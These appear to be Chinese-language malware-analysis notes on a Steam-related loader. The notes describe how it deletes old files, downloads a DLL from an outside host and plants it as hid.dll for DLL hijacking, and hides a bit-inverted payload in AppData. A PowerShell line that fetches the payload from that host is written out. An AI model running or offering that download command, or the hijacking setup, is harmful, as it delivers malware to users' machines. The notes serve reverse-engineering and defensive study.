https://mp.weixin.qq.com/s?__biz=MzkyOTc0NDY2Nw==&mid=2247484579&idx=1&sn=59e527ca060e26343855dce02d6e5eb5&chksm=c3d6e0a97888822bee70cf9e5d659f62af6c1a025f50a9cd531109781be8c8b9043e5eee8b7d&mpshare=1&scene=23&srcid=010402zGPQxpmjdjdJ674GoQ&sharer_shareinfo=fe4cb7a37b3be1f27a24552cef16b314&sharer_shareinfo_first=fe4cb7a37b3be1f27a24552cef16b314#rd
删除之前的残留文件,然后从 http://1.steam.work/api/integral/pwsDownFile 下载两个文件,dll 放在 steam 目录下命名为 hid.dll
,vdf 文件放在 local 的 Appdata 里的 steam 路径下,命名为 localData.vdf
$downApi = "http://1.steam.work/api/integral/pwsDownFile"
$dllPath = "E:\CTF\steam_dll\downloaded.dll"
Invoke-RestMethod -Uri $downApi -Headers @{ Referer = "libary" } -OutFile $dllPath
hid.dll,即 Human Interface Device (HID) Dynamic Link Library,是 Windows 操作系统中用于管理人机交互设备(如键盘、鼠标、游戏控制器等)的动态链接库文件。 它负责处理这些设备的输入和输出,确保设备与系统之间的通信顺畅
相当于劫持
先调用一个函数,再打开原来的 hid
先获取了之前放在 appdata 里的文件,再逐比特取反(用硬件加速)
https://cloud.tencent.com/developer/article/2337999
后面行为导入 dll 并运行 loadlib 函数
确实搜了一圈发现不好搞脱壳(商用壳)。还是看看后面的动态行为怎么搞搞
通过查看导入表来获取要 hook 的函数
可能会动态加载内核中的 Windows API,所以也要 hook 一些常用的函数
下方代码未验证,形式上参考(TODO)
hook 之后和 ProcMon 合在一起看行为